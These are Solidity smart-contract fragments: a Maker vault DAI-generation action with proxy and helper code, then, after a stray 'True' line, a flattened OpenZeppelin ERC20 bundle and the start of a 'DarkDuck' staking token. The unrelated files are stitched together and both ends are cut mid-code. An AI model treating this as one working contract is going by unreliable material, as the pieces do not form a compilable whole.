calldataload(4) bar := calldataload(36) } emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } abstract contract DSProxy is DSAuth, DSNote { DSProxyCache public cache; // global cache for contracts constructor(address _cacheAddr) { require(setCache(_cacheAddr), "Cache not set"); } // solhint-disable-next-line no-empty-blocks receive() external payable {} // use the proxy to execute calldata _data on contract _code function execute(bytes memory _code, bytes memory _data) public payable virtual returns (address target, bytes32 response); function execute(address _target, bytes memory _data) public payable virtual returns (bytes32 response); //set new cache function setCache(address _cacheAddr) public payable virtual returns (bool); } contract DSProxyCache { mapping(bytes32 => address) cache; function read(bytes memory _code) public view returns (address) { bytes32 hash = keccak256(_code); return cache[hash]; } function write(bytes memory _code) public returns (address target) { assembly { target := create(0, add(_code, 0x20), mload(_code)) switch iszero(extcodesize(target)) case 1 { // throw if contract failed to deploy revert(0, 0) } } bytes32 hash = keccak256(_code); cache[hash] = target; } } abstract contract IJoin { bytes32 public ilk; function dec() virtual public view returns (uint); function gem() virtual public view returns (IGem); function join(address, uint) virtual public payable; function exit(address, uint) virtual public; } abstract contract ICdpRegistry { function open( bytes32 ilk, address usr ) public virtual returns (uint256); function cdps(bytes32, address) virtual public view returns (uint256); function owns(uint) virtual public view returns (address); function ilks(uint) virtual public view returns (bytes32); } contract MainnetMcdAddresses { address internal constant VAT_ADDR = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address internal constant DAI_JOIN_ADDR = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; address internal constant DAI_ADDR = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address internal constant JUG_ADDRESS = 0x19c0976f590D67707E62397C87829d896Dc0f1F1; address internal constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; address internal constant PROXY_REGISTRY_ADDR = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; address internal constant CDP_REGISTRY = 0xBe0274664Ca7A68d6b5dF826FB3CcB7c620bADF3; address internal constant CROPPER = 0x8377CD01a5834a6EaD3b7efb482f678f2092b77e; } contract McdHelper is DSMath, MainnetMcdAddresses { IVat public constant vat = IVat(VAT_ADDR); /// @notice Returns a normalized debt _amount based on the current rate /// @param _amount Amount of dai to be normalized /// @param _rate Current rate of the stability fee /// @param _daiVatBalance Balance od Dai in the Vat for that CDP function normalizeDrawAmount(uint _amount, uint _rate, uint _daiVatBalance) internal pure returns (int dart) { if (_daiVatBalance < mul(_amount, RAY)) { dart = toPositiveInt(sub(mul(_amount, RAY), _daiVatBalance) / _rate); dart = mul(uint(dart), _rate) < mul(_amount, RAY) ? dart + 1 : dart; } } /// @notice Converts a number to Rad precision /// @param _wad The input number in wad precision function toRad(uint _wad) internal pure returns (uint) { return mul(_wad, 10 ** 27); } /// @notice Converts a number to 18 decimal precision /// @dev If token decimal is bigger than 18, function reverts /// @param _joinAddr Join address of the collateral /// @param _amount Number to be converted function convertTo18(address _joinAddr, uint256 _amount) internal view returns (uint256) { return mul(_amount, 10 ** sub(18 , IJoin(_joinAddr).dec())); } /// @notice Converts a uint to int and checks if positive /// @param _x Number to be converted function toPositiveInt(uint _x) internal pure returns (int y) { y = int(_x); require(y >= 0, "int-overflow"); } /// @notice Gets Dai amount in Vat which can be added to Cdp /// @param _vat Address of Vat contract /// @param _daiBalance Amount of dai in vat contract for that urn /// @param _urn Urn of the Cdp /// @param _ilk Ilk of the Cdp function normalizePaybackAmount(address _vat, uint256 _daiBalance, address _urn, bytes32 _ilk) internal view returns (int amount) { (, uint rate,,,) = IVat(_vat).ilks(_ilk); (, uint art) = IVat(_vat).urns(_ilk, _urn); amount = toPositiveInt(_daiBalance / rate); amount = uint(amount) <= art ? - amount : - toPositiveInt(art); } /// @notice Gets the whole debt of the CDP /// @param _vat Address of Vat contract /// @param _usr Address of the Dai holder /// @param _urn Urn of the Cdp /// @param _ilk Ilk of the Cdp function getAllDebt(address _vat, address _usr, address _urn, bytes32 _ilk) internal view returns (uint daiAmount) { (, uint rate,,,) = IVat(_vat).ilks(_ilk); (, uint art) = IVat(_vat).urns(_ilk, _urn); uint dai = IVat(_vat).dai(_usr); uint rad = sub(mul(art, rate), dai); daiAmount = rad / RAY; // handles precision error (off by 1 wei) daiAmount = mul(daiAmount, RAY) < rad ? daiAmount + 1 : daiAmount; } /// @notice Checks if the join address is one of the Ether coll. types /// @param _joinAddr Join address to check function isEthJoinAddr(address _joinAddr) internal view returns (bool) { // if it's dai_join_addr don't check gem() it will fail if (_joinAddr == DAI_JOIN_ADDR) return false; // if coll is weth it's and eth type coll if (address(IJoin(_joinAddr).gem()) == TokenUtils.WETH_ADDR) { return true; } return false; } /// @notice Returns the underlying token address from the joinAddr /// @dev For eth based collateral returns 0xEee... not weth addr /// @param _joinAddr Join address to check function getTokenFromJoin(address _joinAddr) internal view returns (address) { // if it's dai_join_addr don't check gem() it will fail, return dai addr if (_joinAddr == DAI_JOIN_ADDR) { return DAI_ADDR; } return address(IJoin(_joinAddr).gem()); } function getUrnAndIlk(address _mcdManager, uint256 _vaultId) public view returns (address urn, bytes32 ilk) { if (_mcdManager == CROPPER) { address owner = ICdpRegistry(CDP_REGISTRY).owns(_vaultId); urn = ICropper(CROPPER).proxy(owner); ilk = ICdpRegistry(CDP_REGISTRY).ilks(_vaultId); } else { urn = IManager(_mcdManager).urns(_vaultId); ilk = IManager(_mcdManager).ilks(_vaultId); } } /// @notice Gets CDP info (collateral, debt) /// @param _manager Manager contract /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getCdpInfo(IManager _manager, uint _cdpId, bytes32 _ilk) public view returns (uint, uint) { address urn; if (address(_manager) == CROPPER) { address owner = ICdpRegistry(CDP_REGISTRY).owns(_cdpId); urn = ICropper(CROPPER).proxy(owner); } else { urn = _manager.urns(_cdpId); } (uint collateral, uint debt) = vat.urns(_ilk, urn); (,uint rate,,,) = vat.ilks(_ilk); return (collateral, rmul(debt, rate)); } /// @notice Address that owns the DSProxy that owns the CDP /// @param _manager Manager contract /// @param _cdpId Id of the CDP function getOwner(IManager _manager, uint _cdpId) public view returns (address) { address owner; if (address(_manager) == CROPPER) { owner = ICdpRegistry(CDP_REGISTRY).owns(_cdpId); } else { owner = _manager.owns(_cdpId); } DSProxy proxy = DSProxy(uint160(owner)); return proxy.owner(); } } contract McdGenerate is ActionBase, McdHelper { using TokenUtils for address; ISpotter public constant spotter = ISpotter(SPOTTER_ADDRESS); /// @inheritdoc ActionBase function executeAction( bytes[] memory _callData, bytes[] memory _subData, uint8[] memory _paramMapping, bytes32[] memory _returnValues ) public payable override returns (bytes32) { (uint256 cdpId, uint256 amount, address to, address mcdManager) = parseInputs(_callData); cdpId = _parseParamUint(cdpId, _paramMapping[0], _subData, _returnValues); amount = _parseParamUint(amount, _paramMapping[1], _subData, _returnValues); to = _parseParamAddr(to, _paramMapping[2], _subData, _returnValues); amount = _mcdGenerate(cdpId, amount, to, mcdManager); return bytes32(amount); } /// @inheritdoc ActionBase function executeActionDirect(bytes[] memory _callData) public payable override { (uint256 cdpId, uint256 amount, address to, address mcdManager) = parseInputs(_callData); _mcdGenerate(cdpId, amount, to, mcdManager); } /// @inheritdoc ActionBase function actionType() public pure override returns (uint8) { return uint8(ActionType.STANDARD_ACTION); } //////////////////////////// ACTION LOGIC //////////////////////////// /// @notice Generates dai from a specified vault /// @param _vaultId Id of the vault /// @param _amount Amount of dai to be generated /// @param _to Address which will receive the dai /// @param _mcdManager The manager address we are using [mcd, b.protocol] function _mcdGenerate( uint256 _vaultId, uint256 _amount, address _to, address _mcdManager ) internal returns (uint256) { IManager mcdManager = IManager(_mcdManager); (address urn, bytes32 ilk) = getUrnAndIlk(_mcdManager, _vaultId); uint256 rate = IJug(JUG_ADDRESS).drip(ilk); uint256 daiVatBalance = vat.dai(urn); if (_mcdManager == CROPPER) { _cropperGenerate(_vaultId, ilk, _amount, rate, daiVatBalance); } else { _mcdManagerGenerate(mcdManager, _vaultId, _amount, rate, daiVatBalance); } // add auth so we can exit the dai if (vat.can(address(this), address(DAI_JOIN_ADDR)) == 0) { vat.hope(DAI_JOIN_ADDR); } // exit dai from join and send _to if needed IDaiJoin(DAI_JOIN_ADDR).exit(_to, _amount); logger.Log( address(this), msg.sender, "McdGenerate", abi.encode(_vaultId, _amount, _to, _mcdManager) ); return _amount; } function _mcdManagerGenerate( IManager _mcdManager, uint256 _vaultId, uint256 _amount, uint256 _rate, uint256 _daiVatBalance ) internal { _mcdManager.frob( _vaultId, int256(0), normalizeDrawAmount(_amount, _rate, _daiVatBalance) ); _mcdManager.move(_vaultId, address(this), toRad(_amount)); } function _cropperGenerate( uint256 _vaultId, bytes32 _ilk, uint256 _amount, uint256 _rate, uint256 _daiVatBalance ) internal { address owner = ICdpRegistry(CDP_REGISTRY).owns(_vaultId); ICropper(CROPPER).frob(_ilk, owner, owner, owner, 0,normalizeDrawAmount(_amount, _rate, _daiVatBalance)); } function parseInputs(bytes[] memory _callData) internal pure returns ( uint256 vaultId, uint256 amount, address to, address mcdManager ) { vaultId = abi.decode(_callData[0], (uint256)); amount = abi.decode(_callData[1], (uint256)); to = abi.decode(_callData[2], (address)); mcdManager = abi.decode(_callData[3], (address)); } }
True
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// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/DarkNyan.sol pragma solidity ^0.6.6; contract DarkDuck is ERC20{ using SafeERC20 for IERC20; using SafeMath for uint256; struct stakeTracker { uint256 lastBlockChecked; uint256 rewards; uint256 catnipPoolTokens; uint256 darkNyanPoolTokens; } mapping(address => stakeTracker) private stakedBalances; address owner; address devAddress; address public fundVotingAddress; bool public isSendingFunds = false; uint256 private lastBlockSent; uint256 public liquidityMultiplier = 70; uint256 public miningDifficulty = 40000; IERC20 private catnip; IERC20 private darkNyan; IERC20 private catnipV2; address public catnipUniswapV2Pair; IERC20 private darkNyanV2; address public darkNyanUniswapV2Pair; uint256 public start_block; uint256 totalLiquidityStaked; modifier _onlyOwner() { require(msg.sender == owner); _; } modifier updateStakingReward(address _account) { uint256 liquidityBonus; if (block.number >= start_block && stakedBalances[_account].darkNyanPoolTokens > 0) { liquidityBonus = stakedBalances[_account].darkNyanPoolTokens.div(liquidityMultiplier); } if (block.number >= start_block && block.number > stakedBalances[_account].lastBlockChecked) { uint256 lastBlockChecked = stakedBalances[_account].lastBlockChecked; if(stakedBalances[_account].lastBlockChecked == 0) { lastBlockChecked = block.number < start_block ? block.number : start_block; } uint256 rewardBlocks = block.number.sub(lastBlockChecked); if (stakedBalances[_account].catnipPoolTokens > 0) { stakedBalances[_account].rewards = stakedBalances[_account].rewards.add((stakedBalances[_account].catnipPoolTokens.add(liquidityBonus)).mul(rewardBlocks).div(miningDifficulty)); stakedBalances[_account].lastBlockChecked = block.number; emit Rewards(_account, stakedBalances[_account].rewards); } } // uint256 liquidityBonus; // if (stakedBalances[_account].darkNyanPoolTokens > 0 && block.number >= start_block) { // liquidityBonus = stakedBalances[_account].darkNyanPoolTokens.div(liquidityMultiplier); // } // if (block.number > stakedBalances[_account].lastBlockChecked) { // uint256 lastBlockChecked = stakedBalances[_account].lastBlockChecked; // if(stakedBalances[_account].lastBlockChecked == 0) { // lastBlockChecked = block.number < start_block ? block.number : start_block; // } // uint256 rewardBlocks = 